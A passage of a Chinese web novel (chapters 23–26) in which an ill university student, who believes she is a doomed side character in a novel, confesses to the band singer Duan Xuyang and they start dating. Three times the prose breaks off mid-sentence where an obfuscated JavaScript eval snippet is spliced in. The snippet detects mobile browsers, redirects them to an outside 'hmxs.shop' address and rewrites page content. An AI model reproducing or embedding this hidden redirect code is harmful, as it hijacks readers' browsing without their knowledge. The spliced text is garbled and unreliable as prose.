“不好意思,招待不周。”段胥阳把一盘无骨鸡爪挪到林莎面前:“翻了翻冰箱,这是唯一的荤菜,等之后有机会我再请你们吃顿好的。” “没有没有!”林莎把手摆得跟拨浪鼓似的:“我们今天晚餐就是曹非请客的,你们已经招待很好啦,还是优先照顾姝姝吧。” 饭桌上的粗粮都是段胥阳奶奶亲自种的,没打过农药,有种自然的清甜,罗姝有些食欲不振,还是忍不住多吃了几块南瓜。 林莎明明是饱腹过来的,也硬是往胃里塞了不少,到最后竟然靠着三个人实现了光盘行动。 一顿健康的晚饭结束,罗姝也因为药物作用开始倦怠起来。她刚测过体温,已经降到了三十七度九,还不算彻底退烧,要多休息一阵看看。 由于一楼没有多余的客房,为了让两个人住近一些互相关照,段胥阳把她们都带到了三楼。 房间每周都有阿姨来打扫,屋里很干净,林莎还自带了一套床单,她先一步进客房里整理自己的床铺,把空间完全留给了罗姝和段胥阳两人。 罗姝便被段胥阳安排到了他的房间。 其实这里并不是段胥阳的常住地,屋里装修十分简洁,跟旁边的客房也没什么区别。这让罗姝松了一口气,那种闯入别人领地的局促感瞬间消失不见。 “晚上不用锁门,门口就有饮水机,我一会儿换一桶新的水,你记得多喝水。”段胥阳开始叮嘱她:“小区门口就有一家酒店,我今晚住那里,你夜里觉得不舒服千万不要忍着,给我打电话知道吗?” “好。”罗姝这次乖乖点头,她估摸了一下自己的余额,说:“我给你报销房费,谢谢你照顾我。” “你要是真想感谢我就赶紧痊愈……”段胥阳故作刻薄:“谈钱多俗气,我可不缺钱,你再好好想想该怎么谢我。” 直到楼下传来段胥阳发动汽车的声音,林莎才从客卧里冒出个头,整个人鬼鬼祟祟游走到罗姝旁边。 “姝姝,我用湿毛巾给你擦擦身子?” 罗姝已经在卫生间面盆里蓄好了水,闻言婉拒:“我自己来就行。” “啧,住着大别野,要是没照顾到你,我感觉睡觉都踏实不了。”林莎边说,边在寝室群里疯狂转述这里有多气派,手指点在屏幕上噼里啪啦一阵响,她感叹一声:“段胥阳对你真好。” 罗姝把一次性毛巾浸入清水里,有几颗水珠在没被完全浸透的毛巾表面跑来跑去,很快便随着毛巾的下坠重新融入水中。 她也无法再去否认什么,只能带着疑惑与茫然地应和:“是啊,他对我真好。” 可他本不该对她这样好的。 23. 恋爱第1天 罗姝很小的时候就已经懂得了一个道理。 旁人为你付出的一切,都需要等价偿还,世界上并不存在无私的、不求回报的爱。 就像从前父母对她无休止的好,需要她用永远优异的成绩来回报那样,将人与人之间的交往用等式来衡量,才能实现一段关系的稳定。 但段胥阳为什么对她这么好呢? 罗姝怀揣着这样的疑问陷入沉睡,她并不认为她的剪辑水平好到需要段胥阳这样无微不至的照顾,来笼络她。 梦里没有答案,只有一个又一个稀碎的场景,将她本就虚浮的心坠入谷底。 有儿时父母激烈争吵的一幕幕。 看似老实巴交的父亲、要强又心高气傲的母亲,他们维持着二十多岁的样貌,言辞恶毒地诅咒彼此。 她责怪他无能愚孝毫无担当,他责怪她无理取闹胡搅蛮缠。 不堪入耳的谩骂声清晰地传进幼年罗姝的耳朵里,她害怕地啜泣,却只得到父母烦躁厌倦的目光。 时光翻过一页,这扭曲的家庭迎来第一次转机,罗姝正式上学了。 老师的连连称赞、名列前茅的成绩单、家长会上其他家长艳羡的目光,终于让两个不起眼的人抬起了头。 原来旁人的尊敬和羡慕来得那样简单,不止财富和职位能带来社会地位,一个聪明优秀的孩子,同样会让父母成为人群的焦点。 “姝姝,妈妈给你切了水果,但是不能贪多,要是吃坏了肚子影响上课就不好了。” “姝姝,放学以后不能乱跑,妈妈给你报了几个补习班。和小朋友玩?其他小朋友也要上课的呀,你们可以在补课班玩。” “罗姝,为什么这么简单的题你才考了第二名,是不是上次让你放松了两天就彻底松懈了?” “罗姝,所有人都在努力,第一名不是永恒的,你要有紧迫感,所有人都想要赶超你。你知不知道你那个姑姑的女儿,还在上幼儿园,就被老师申请跳级,你真以为在其他人眼里你是不可替代的吗?” “妈妈不是不让你交朋友,可你现在交的朋友有什么用?她们当中有几个人能考上清大,将来继续跟你做同学、做同事?她们对你的未来没有帮助,只会拖累你!” “你明明是我的女儿,怎么没有一点我的骨气?肯定是随你爸那个废物。要活成人上人才叫有志气,只比普通人优秀就够了吗?你要当那个顶尖的人才!” 记忆中的母亲总是喋喋不休,罗姝每次回忆起她的模样,都无法清晰描绘她的五官。 她是扭曲的、是可怖的、是歇斯底里的,就算偶尔有甜蜜的呼唤与关心,也只是包裹着蜜糖的砒霜,只为了让罗姝能始终维持着天才神话。 沉默的父亲也从来不是为女儿兜底的靠山,他总是打着养家糊口的旗号缺席在家庭角色中,只需要躲在母亲身后看着她如何鞭策两个稚儿,便能享受拥有一对天才女儿带来的一切荣光。 于是当罗姝不再是天才时,这个家庭的伪装终于撕裂了。罗姝也向自己证实,父母的爱源自于她的价值,不必再对无法回报的爱有任何期待。 头脑昏昏沉沉,罗姝迷糊中听到林莎的声音,她帮她换了退烧贴,还将吸管递到她嘴边。 温热清甜的水像一场及时雨,浇灭了罗姝内心的火苗,很快,她又来到了新的梦境。 这次的梦境颠三倒四,时而是幼年段胥阳抱着一张照片哭着喊妈妈;时而是看不清脸的少女曹恩悦在安慰他、照顾他;时而又是青年段胥阳和一个中年男人在争执。 那中年男人年过半百,保养十分得体,身材也没有走样,浑身写满了铜臭味。 他将一摞手稿扔到段胥阳脸上,皮质文件夹在段胥阳白皙的脸上砸出一道红痕,中年男人却丝毫没有心软,他呵斥道:“整天不务正业,像个戏子一样任人摆布,你哪里对得起你母亲!” “我在延续母亲的梦想,这些年你又为我妈付出过什么,你有什么资格对我指手画脚!”梦中的段胥阳眼神仇恨,他弯腰拾起那些写满音符的稿件,愤愤离去。 画面一转,褪去了学生气的段胥阳画上精致的舞台妆,在周围工作人员的恭维声中,他漫不经心地看着台本。 窗外高大的树木遮天蔽日,巨大的树冠里像是藏匿着什么风暴,段胥阳敏锐地抬头,与那枝叶缝隙中的一双眼睛对视。 “什么人?” 不轻不重的一声询问换来的是对方手忙脚乱的窜逃,树枝一阵乱颤,从中跳下一个年轻女生,她背对着他,慌不择路地向外跑去。 “小心!” 她听到他喊了一声,想止步已来不及,但疾驰的车辆已经逼近,剧痛跗骨之疽。 罗姝在疼痛中惊醒,浑身激起冷汗。明明是梦,可死亡来袭的那一幕却是那样逼真与清晰。 她伸出手够到床头的纸巾,动作缓慢地拭去发丝上的汗珠,纸巾也跟着变得黏腻。 她倏地苦笑了一下。 因为那不是梦,那是她未来的命运。 段胥阳深爱着在他失去母亲后将他当做亲弟弟一般照顾的曹恩悦,这符合罗姝自己定义的“等式定理”。 而按照同样的定理,罗姝受到了段胥阳额外的关照,就势必要为他付出什么来平衡这种感情。 她知道,她要付出自己的躯体。 “姝姝,你醒了?”林莎从门口探头进来:“有没有再测体温。” 罗姝拿起一旁的体温枪测了一下,体温已经回归正常水平,她将数字示意给林莎看,声音还有些无力:“已经退烧啦,谢谢你。” “我又没做什么,不用谢我。”林莎也松了一口气的样子,她拍了拍胸脯:“幸好你没事了,不然我都不知道我过来这一趟有什么用。” 段胥阳很早的时候就去买了早餐回来,他焦急地等在楼下,一直到看到罗姝的身影出现,脸色才和缓下来。 罗姝面色依旧苍白,但比起昨天蔫哒哒的样子,精神状态还可以,看样子恢复得不错。 林莎有个社团活动恰好定在周六早上开会,她匆匆吃过早饭就跑回了学校,婉拒了段胥阳送她的好意。 偌大的小别墅只剩下罗姝和段胥阳两个人,气氛一时有些沉寂。 罗姝抬起头,又认认真真打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977358|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量了这栋小别墅一番。这只是他大学时期的工作室,就已经是许多人奋斗一辈子都够不到的梦。 “段胥阳,你之前说你的经费都用来布置工作室了,那经费是哪里来的呀?”她突然开口询问。 “我爸赞助的。”洗碗机已经开始运作,段胥阳重新坐了回来,他乐于听到罗姝对他的一切好奇,因此笑眯眯地说:“不过他只赞助一次,怕我做不好,给我妈丢人。” 这似乎与她梦中的画面对应上了,罗姝沉吟了片刻,小心翼翼地看向他:“那,你怪他吗?” 段胥阳不解地向后仰了仰身子:“我怪他干嘛,本来就是我自己的梦想,我爸愿意扶持我一把已经很不错了,多少音乐人还睡着地下室四处路演呢。” 罗姝若有所思地点点头。 看来现实中的段胥阳,要比小说中的段胥阳更加柔和体贴。 或许当冷冰冰的文字产生血肉时,都会产生一些差别。 就像她没有按照剧情在高中毕业后跟段胥阳告白一样,段胥阳也并非完全按照剧情在行动。在黑白铅字拓展的世界里,他也有自己的思想和情感。 而在罗姝本人看不到的地方,她头顶那个红色的箭头突然开始忽明忽暗地急促闪烁起来,那一行小小的倒计时也开始疯狂变化,时而清零,时而又变成其他数字。 段胥阳屏住呼吸,心跳也跟着那闪烁的频率极速跳动起来。 “罗姝,你是不是有什么话想跟我说?” 他揉了揉鼻子,眼光闪烁:“你生病了,你最大,只要合情合理,不管你说什么我都会答应你的” 那语气甚至带着一丝循循善诱,像是恨不得替她开口一样。 罗姝感受到了这份温柔,她不禁失笑:“你对我这么好啊。” “当然啦!”段胥阳一下来了底气似的,腰板都挺得更直。 “那你干嘛对我这么好?”怀揣着莫名的希冀,她抿着唇,又追问了一句。 段胥阳理所当然地回道:“我想对你好啊。” 无形的锤子敲打在罗姝的心上,她忍不住自嘲地勾起唇角。 段胥阳似乎总能用他最直白的感性来将她精心计算的公式扰得乱七八糟。 他凝视着她,又追加了一句:“我会一直对你好。” 这倒不是大话,等以后女主接管这具身体,他的确会对“罗姝”好一辈子。 罗姝垂下眼帘,一只手伸进了衣兜里。 病意匆忙,她还穿着昨天那身衣服,没机会换掉。 此刻,那封她耗费了一整个中午写出来的情书,就静静躺在里面,发硬的卡纸抵着罗姝的指尖,存在感十足。 再试一次吧,趁现在还能抽身。只是不知道这一次能不能说得出口。 “段胥阳……”她深吸一口气,藏在餐桌下的手捏紧了那封情书:“我喜欢你……” 意料之外的顺畅叫她错愕,罗姝瞪圆双眼,表情讶异。 下一秒,一整个太阳落在她怀里,男生清冽干净的味道充盈着她的鼻尖,温暖有力的双臂箍紧她的身躯。 “你可终于告白了!” 24. 恋爱第2天 红色箭头宛如炸开的烟花般化作星星点点的流光。 它像是功成身退,又像是被扰乱了计划而超负荷运转,最终承受不住混乱导致毁灭。 总之,那些碎片悄然藏入空中漂浮的微小粉尘之中,仿佛从未出现过。 清晨的阳光是冷冽的,也是温暖的。 巨大的落地窗仿佛是加热器,将每一丝光线都加工成暖融融的样子,才肯叫它落到室内相拥的二人身上。 说是相拥却又不恰当,罗姝还维持着僵硬的姿势,两手正无措地摊开,只是任由段胥阳将她紧紧锁入怀中。 不知该说是用心还是敷衍的情书早就随着动作翩然落地,那轻微的声响被两人惊雷般跳动的心跳声掩盖,一时间无人在意。 几秒后,段胥阳不满地松开她,又拉着她的双臂环住自己的腰,才重新心满意足地抱住她:“这才叫拥抱懂吗?” 罗姝这才如梦初醒般挣扎了一下,勉强拉开与他的距离。 她茫然又陌生地望向他的眼睛,不敢置信地问:“你、你这是……没有拒绝我?” “我为什么要拒绝你?” 察觉到罗姝的情绪有异,段胥阳退后几步,他态度认真起来:“你是不是对我有什么误会?” “不,不是那个意思。”罗姝语无伦次地摇头,她忍不住开始怀疑自己:“难道我还在做梦?” 她突然伸手掐了自己手背一把,被掐过的地方顿时红彤彤一片,尖锐的疼痛从神经末梢开始蔓延,以此证明自己的真实。 罗姝大脑的所有运行程序集体宕机。她呆在原地等了几分钟,之前发生的那一幕幕依旧清晰。 她仿佛依然被裹挟在他有力的怀抱中,从段胥阳身上传来的干燥温暖的味道仍眷恋着她的鼻尖。 她还记得不久之前她和段胥阳曾一起被消除了某段记忆,她猜测是他们言行出格,剧情通过回溯的方式让他们回到正轨。 可现在,段胥阳已经完全违背了小说剧情,违背了钟情女主的人设,答应了她这个工具尸的告白。 他们甚至亲密无间地拥抱在一起。 她却依旧稳稳站在原地,她的记忆、她的身体全都没有异样。 罗姝开始感到前所未有的混乱,她分不清眼前是过于逼真的虚假梦境,还是荒诞离奇的现实世界。 她只能嗫嚅着追问:“你不是喜欢……” 好在理智还没有全面崩溃,在“曹恩悦”这个名字即将脱口而出的瞬间,罗姝紧急改口:“你不是有喜欢的人吗?” 段胥阳正心疼地看着她手背上那一块红痕,他也不知道罗姝那笃定的语气从何而来,他只想先抚平她的慌张不安。 他刻意放柔声音解释:“我从没有喜欢过别人,要是你在网上看到什么乱七八糟的,当它们是垃圾信息过滤掉就好,总有人以讹传讹,当不得真。” 他试探着向前走了一步,见她没有抗拒的反应,才大着胆子拉起她的手放到嘴边吹了吹。 重新亲密的距离驱散了他隐晦的不安,段胥阳不肯再松开手,动作稍显强势地与她十指相扣:“我只喜欢你。” 喜欢两个字如两座大山压在罗姝肩膀上,她看着两人相牵的手掌,已经从他分明的骨节和裸露的青筋中看出他的坚定。 某个在她心中坚持已久的秩序悄然轰塌了。 “没喜欢过别人么。”将全部情绪全都收敛起来,罗姝宛如一座进入休眠期的火山,重新变得平静起来,她轻声复述着这句话,明白这就是剧情的错位。 段胥阳却以为她仍然心有怀疑,空着的那只手立马做出发誓的手势:“真的!不信你可以问曹非,他连我哪天被母蚊子叮过都知道,我要是多看哪个女生一眼,他比摄像头都记得清楚。” “我没有不信你,”罗姝终于笑了笑:“我就是觉得,我之前确实有些误会。” 是她对这个剧情太过信任了。 在她人生重要环节对她造成影响的剧情干扰,居然对着脱缰野马般任性脱离剧情的男主角无计可施。 那么有朝一日,她是否也能…… 一些念头还没成型,罗姝突然一个踉跄,整个大脑皮层都像是被细密的针扎过一样泛起密集的疼。 “姝姝!”段胥阳将她接稳,有些紧张地用手心探查了一下她额头的温度:“又发烧了吗?” 脑袋昏昏沉沉,有什么被清空了,又有什么被灌输进来,罗姝内心浮现出一行机械般没有灵魂的小字: 他接受了我的告白,我们现在是恋人关系。 “我没事,只是没站稳。”眼看段胥阳都开始找车钥匙,罗姝连忙拦住他:“不用去医院的。” 又拿来体温枪严格测试了三次,确定罗姝真的没有发烧以后,段胥阳才放下心来,他把罗姝往楼上赶:“那你再去休息一会儿,我给你炖个冰糖雪梨水,下午我送你回学校。” “哦对了,”他突然想起来事来:“下午孟哥他们会来这边开个会,需要提点几个宣传方案,绕不开视频宣传,你想参加的话,我上来叫你。” “好啊。”罗姝一口答应下来,她好奇地问了下进度:“你们宣传曲已经制作好了吗?” 段胥阳护着她往楼上走,边走边说:“还没有,才刚跟一家专业录音棚约好录音日期,再加上后期制作什么的,还得一段时间。” “但是剧组那边目前暂定新年后开播新一季,现在已经可以开始预热,所以也需要我们尽快拿出一个宣传方案来。” 两人再次回到三楼房间门口,段胥阳替她打开门,没有进去的意思。 眼看罗姝要进屋,他这才提着一口气拦了她一下,小声说了句:“你抱我一下呗。” 段胥阳也没想到自己初恋的第一天是从患得患失开始的,他现在还有一种不实感,总觉得罗姝会突然后悔然后翻脸不认人。 他得承认,那个消失的红箭头确实带走了他的安全感,他已经习惯性依赖那个超现实的存在板上钉钉地证实罗姝对他的情感。 回归现实后,罗姝奇怪的反应总让他感到不安。 罗姝也恍然意识到自己地位升级了。 她这具原本只该存活在背景里的工具尸,现在似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985634|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎已经升级成了重要女配。 还抢在女主前面跟男主谈了个恋爱。 这场恋爱来得突如其来,罗姝还没想好后续该怎么处理,但此刻顶着她男友身份的段胥阳正在用湿漉漉的眼睛暗含期待地盯着她看。 好像没有任何拒绝他的理由。 罗姝有些生疏地复刻起之前的拥抱姿势,两条手臂比钢筋还僵硬,勉强环住段胥阳的腰。 她只敢轻轻贴一下,下一秒就迅速弹开,只听从后脑勺传来轰的一声,罗姝整张脸都开始涨红。 她飞快钻进房间里把门关上。 门板被拍的震天响,她靠在颤抖的门板上摸了摸自己的头。 原来拥抱时,段胥阳的下巴可以正好抵在她的头顶。 门外的段胥阳这才终于感受到了一些甜蜜,他摸了摸自己的下巴,回忆着那毛茸茸的触感,忍不住哼着小曲晃晃悠悠下楼。 接近午餐时间,乐队其他人准时到访,每个人手里都提着一篮子菜,打算开完会就直接进入满足温饱的流程。 段胥阳装模作样地从厨房里走出来,很做作地开始表演:“哟,你们这么快就来啦,那你们先去会议室等一下,我这就去叫我的女!朋!友!出来一起开会。” “哎呀,瞧我这记性!”他假惺惺走了几步,又一副故作懊恼的样子退回来:“我还给女!朋!友!炖了点冰糖雪梨,她嗓子不舒服,差点被我给忘了!” 几人面面相觑,孟宇寰看向最熟悉段胥阳的曹非,问道:“他犯得什么病?” 还没等曹非开口,单手端着碗的段胥阳从围裙口袋里拿出一个粉色的信封扇了扇:“别说,厨房还挺热,女!朋!友!给的情书就是好用。” 他就这么维持着别扭的姿势硬生生上了楼。 “都快到集中供暖的时间了,他还热呢。”曹非没眼看,他拨弄着刘海挡住自己大半张脸:“别问我,我不认识这个人。” 段胥阳想官宣的心就连窗户外面的小飞虫都看出来了,逆时针乐队其他三个单身汉,尤其是被迫单身的队长孟宇寰决定不能就这么简单让他如意。 等罗姝和段胥阳一起出现时,三个玩音乐的愣是拿出了影帝般自然的演技,仿佛对面前这两人关系的转变一无所知似的,直接进入议题。 “剧组那边希望从我们开始预热,最好有一个可以一直延续热度的话题,持续到正式宣传。” 孟宇寰手里拿着一个笔记本,像模像样的说:“可以找营销团队,但是我更愿意由我们亲自来策划,大家都提一提自己的想法吧。” “这个动漫前几季已经积累了不少歌曲,我们可以改编成乐队版本,每周在我们的账号上发布翻唱表演视频,带上动漫的tag。”黄大骏是认真思考过这个问题的,立即提出了自己的想法。 曹非也有自己的主意:“现在reaction视频也很火,我们也可以多做一些re动漫的视频。” 轮到段胥阳发言,他左看右看,突然轻咳了一声,字正腔圆地说:“姝姝,你怎么看?” 姝姝本人:“……” 25. 恋爱第3天 既然被cue到了,罗姝也没有忸怩,她直接开口:“我知道有一种挑战型的活动可以做成周期很长的主题,但如果想要把内容做得更丰富,我觉得我们所有人的想法可以综合起来。” “比如我们可以发起一个‘挑战在30天内给XX动漫写一首歌’的活动。为了表现我们在这30天内到底做了哪些准备,我们re了原作、改编了相关乐曲,从中感受到这部作品的内涵和所宣扬的精神,由此产生了创作灵感,记录下了完整的创作过程。” 本质来讲,宣传模式本身也是一种作品,既然是创作,就有内在逻辑。 比起提点,罗姝感觉自己其实是在梳理。 但她的梳理是有效的,总结过的方案听起来更有层次,让乐队几人都连连点头。 孟宇寰又问了问大家还有没有别的想法,见众人都没有意见,便拍板定下来:“那我先按照这个方向写一个完整的宣传方案出来,之后再根据剧组意见调整。现在,散会!吃饭!” “另外,”看到段胥阳那一脸与有荣焉恨不得臭屁到天上去的表情,孟宇寰憋了大半天的笑终于浮现在脸上,他打趣地看向这对新晋小情侣:“恭喜你们,终成眷属。” “脱单快乐!百年好合!”黄大骏也哈哈大笑道:“中午哥给你们好好露一手!” 善意的目光从不同方向聚拢而来,落在罗姝身上。 其实罗姝是习惯处在焦点位置的,不过都是工作、学习中的焦点,这还是她第一次因为私人关系而受到关注。 她敏锐地察觉到了乐队几人对她态度的变化,她已经从一位需要客气对待的客人,转变为可以尽情调侃的自己人。 罗姝人生中空缺的异性友人角色也在这一刻终于被填满。她忍不住看向段胥阳,看到他那笑容满面的神气表情,也跟着浅笑起来。 一个忙碌的中午悄然而逝,日头西斜,状态好了很多的罗姝决定先回学校。 其他人还有各自的工作要忙,车里只有她和段胥阳两个人。 “姝姝,我们拍一张牵手照片好不好,我想发朋友圈。” 也没等罗姝回答,段胥阳先在车厢内四处翻找,最终从手套箱里找出一袋小捧花形状的车载香薰,其中刚好就有玫瑰。 他小心翼翼地捏着那迷你干花,已经开始构思拍照姿势:“你拿着这个小玫瑰花,我包住你的手。” “你要公开自己谈恋爱的事情吗?” 罗姝接过花,神情还有些犹豫。 先不提这个事情会不会被女主角看到,仅从段胥阳个人角度考虑,他日后还会进军娱乐圈,公开非单身状态其实并不利于他事业的发展。 原文里,已经是当红小天王的段胥阳公开恋情后事业就受到了极大的震荡。 段胥阳则坦然得多:“当然,谈恋爱干嘛要藏着掖着。” 随后他又考虑到罗姝的情况,补充道:“你要是不方便的话,不发朋友圈也行。” 看清他眼底的期待,有一个瞬间,罗姝几乎要答应下来这个本该十分寻常的邀请。 但罗姝想了又想,还是觉得不能让他发这条朋友圈:“等以后吧。” 段胥阳听到她婉拒的说辞,哦了一声,语调有些失落。 “那这束花就送给我可以吗?”罗姝有意岔开话题:“当做礼物。” 段胥阳的注意力果然瞬间转移过来:“我们在一起第一天这么重要的日子,我就只送你这么个小东西,我还是人吗?这小花你先收着,我去给你买一束大大的花!” 最终,罗姝是抱着一大束洋桔梗回到寝室的。 白色的洋桔梗与香槟色的雏菊相间相依,周围用满天星点缀,鲜艳娇嫩的花束包裹在粉嫩的棉纸里,清新又甜美。 罗姝还曾担忧段胥阳会抱一束和那小干花一样的大红玫瑰给她,按照他那样肆意张扬的性格,送她最热烈的花似乎是顺理成章的事。 但段胥阳显然比她设想中更加有分寸。 汽车一如既往停在了校门口,段胥阳还想陪她到寝室楼下。 罗姝知道他们还有重要工作要忙,恰好天光还很亮,便哄劝了几句,把他打发了回去。 看着那道橙红色的车身缓缓汇入车流消失不见,罗姝又低头看了看那鲜艳欲滴的花朵,意外发现了一张藏在层层叠叠花纸中的卡纸。 她拾起卡片,段胥阳那遒劲有力的字体映入眼帘。 “你如花般安静和温柔,希望往后你一直被好运和快乐包围,我也会在你身边默默陪着你。” —————— 刚推开寝室的门,一连串气球爆破的声音便在罗姝耳边炸开,被撑到薄薄一片的气球碎片宛如礼花般飘飘扬扬,落在地上。 “恭喜罗姝女士成为非单身人士!”室友三人异口同声,将尾音拉得很长。 刚刚才徒手捏爆小气球的康雅琪率先冲过来,满脸激动地问:“是在一起了吧?我没猜错吧?” 她一边说,一边用各种古怪的表情暗示罗姝怀里的那束花,像是在说:证据在此,小心回答。 罗姝与她们那一双双亮晶晶的眼睛对视上,脸上绽放出雏菊般清恬的笑容,她重重点了点头:“嗯!” 寝室里顿时爆发出一阵欢呼,不止康雅琪,白婵和林莎也一齐冲上来,将她团团抱住,兴奋地蹦蹦跳跳:“太好啦!得偿所愿啦!” “等一下等一下!”白婵不愧是寝室长,最激动的时候她还能理智回笼:“先让姝姝把花放下,别压坏了。” “对对对,这可是意义非凡的花。” 罗姝面前又瞬间空了一大片,室友们把通往她床铺的那条路让了出来。 将沉甸甸的花束放到桌面上,罗姝又单独将那张写着祝福的卡纸夹到了她的“暗恋日记”里。 身后还传来室友们兴高采烈的笑声,她从来不知道,原来有人会为了他人的圆满而激动开怀。 原来朋友就是会共享成功的喜悦,分担失败的沮丧。 好奇妙,只是误打误撞与男主角谈上了恋爱,好像全世界的善意与祝福都涌了上来。 “哎,我竟然还有些失落,就像一部电视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995635|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧已经追到了大结局一样,不舍得很。”康雅琪一屁股坐到椅子上:“关键是没有接档的八卦呀,你们谁还能发展一下暧昧关系?” 林莎掰着手指头数:“一、二、三、四。这个屋子总共才四个人,能有多少八卦呀,你不行看看对面那间宿舍呢?班长和她老乡天天吵架。” “听腻了,就为了抢卫生间、抢空调遥控器、最后上床不关灯、卫生打扫不干净这种事情吵,没有一点八卦张力。” 康雅琪冲浪吃瓜这么多年,对八卦的期待阈值已经提高到了天花板,她现在看各种论坛上的家长里短都觉得索然无味。 罗姝正拿着扫把把地上的碎气球都打扫干净。这么一会儿功夫,天已经黑了,寝室亮起一盏暖黄色的灯。 灯光打在罗姝的头顶上,她薄薄一层皮肤细腻又白皙,脸上细小的绒毛像是在发光一样,整个人异常圣洁。 康雅琪拖着腮帮子就这么看着她,良久,啧了一声:“还得是帅哥美女的情感韵事更具八卦张力啊。” 罗姝收拾好地面上的狼藉,又回到座位前,翻着笔记本思考起来。 她身后传来室友们叽叽喳喳的聊天声。 “那我跟你分享一个我们社团的小八卦。我上午不是去参加轮滑社的活动了吗?一进门我就听到有人说,带我练习的那个大二学长师傅跟他女朋友分手了!” “这还没几天呢,他今天上午就跟我们同组另一个新生告白,吓得小姑娘15块钱社团活动费都不要了,直接退社。这个渣男!” “怎么会有这种人啊,莎莎你也要小心,别被盯上。” 后面讨伐的话罗姝没再仔细听,她在笔记本上工整写下了三个字:不同点。 如今现实中发生的一切,已经与小说原著大相径庭,未来会如何发展尚不可知。她究竟是否会被取代,已经变成了悬在头顶的达摩克利斯之剑。 但她仔细回想,这种不同并非由她一人引起,好像每个有名有姓的角色都与他们自己的剧本产生了错位。 她需要把这些已知的不同都找出来,或许才能明白自己的命运到底要如何发展。 首先,她要找出最主要的那个人,即男主角段胥阳身上的不同之处。 性格。 原文剧情主要围绕在三年后,那时段胥阳已经成熟了不少,性格要更加冷峻,她梦中少年时期的段胥阳也总是十分淡漠,并没有如今这般热情开朗。 家庭氛围。 原文中段胥阳的母亲就是一名歌手,只是不幸英年早逝。她离去后,段胥阳与父亲总是因为段胥阳要当歌手这件事摩擦不断,彼此间嫌隙很重,没有一丝亲人的温情。 但从今天与段胥阳的对话来看,段胥阳的父亲也在托举他的梦想,他也能理解父亲有限的帮助,父子关系似乎并不像原作中那样剑拔弩张。 喜欢的人。 罗姝在原文两个字的后面写下了曹恩悦这个名字。 看了几秒钟,她又在现实这一栏中写下了自己的名字。 事实上,段胥阳喜欢罗姝。 26. 恋爱第4天 段胥阳其实当天就给自己做了个情感进度规划表。 第一步要先牵手,等双方都适应了关系的转变后,每次见面和分别时就都要加上黏糊糊的拥抱。 当拥抱也变得稀松平常时,就可以找机会尝试接吻了。 这个十八岁即将十九岁的大小伙子不过是在脑海中简单畅想了一下,就把自己激动得面红耳赤,大半个晚上都睡不着。 然鹅,两个人恋爱后关系的实质进展貌似与恋爱前相差无几。 不同的学院位置、不同的课表、不同的课余时间规划,明明处于同一所学校,愣是让段胥阳谈出了异地恋的既视感。 段胥阳抱着手机翻看两个人的聊天记录,基本都是: “你在干嘛?” “吃了吗?” “吃了什么?” “有没有作业?” “忙不忙?” “快睡觉吧,晚安。” 他上上下下来来回回翻看了好几遍,都没找到一句堪称亲密的对话,一声堪称甜蜜的称谓。 段胥阳泄气地把手机一扔:“这还怎么推进情感进度条,连声宝宝都不敢叫。” 唯一值得欣慰的是两个人至少还有一节体育课是重合的,不至于一整周都见不到一面。 崭新的周五来临,段胥阳换上新衣服,喷了点香水,学着网络上的教程抓了个时兴的发型。 虽然知道没可能,但他还是往嘴里喷了点口腔清新剂,又抓了一大把润喉糖揣在兜里,就怀揣着小激动往教室冲。 旁边目睹一切的曹非抽空给自己亲姐发去吐槽信息,在背地里大声蛐蛐这个人谈了恋爱以后有多骚包。 “是你跟我说过的那个女孩子吧?我记得……叫罗姝?”富有成熟风情的声音从他手机听筒里传出来。 曹非落后段胥阳一大段路程,他也不着急,慢慢悠悠走着,边走边回复信息:“没错,段胥阳喜欢人家挺久了。” “咦?”曹非突然想起什么似的:“我是不是没跟你说过,罗姝就是我们高中那个学神,我记得你之前看我们成绩表的时候就对她很好奇。” 电话另一端的人语气含笑:“是啊,我对她一直很好奇。” “我还挺想和她见一面呢。” —————— 在段胥阳的想象中,双人舞应当是浪漫的、唯美的、令人心潮澎湃的。 然鹅,事实上却是狼狈不堪的。 努力控制住自己的肢体别乱踩罗姝的脚,就已经耗费了段胥阳全部的力气,他压根分不出心神来感受这种肢体接触的小暧昧。 课程时间过半,喊了几十分钟节拍的老师哑着嗓子宣布先休息一会儿,段胥阳这才找准了机会,作出一副疲惫的样子瘫倒在罗姝怀里。 他哎呦一声,埋首在罗姝脖颈的位置,掐着有气无力的嗓子撒娇:“姝姝,我还是没学会,你私下再教教我好不好?” “老师喊拍子太快了,放慢速度多练习几次我就能学会的。” 罗姝只感觉自己被一只大金毛扑了个满怀,她下意识在他背上拍了拍当做安慰。 她还没来得及回答,突然身旁传来一道男声乱搭茬:“那也教教我呗,我也学不会。” 段胥阳:“……” 他直起身子眼神凉凉地看向曹非,暗含谴责。 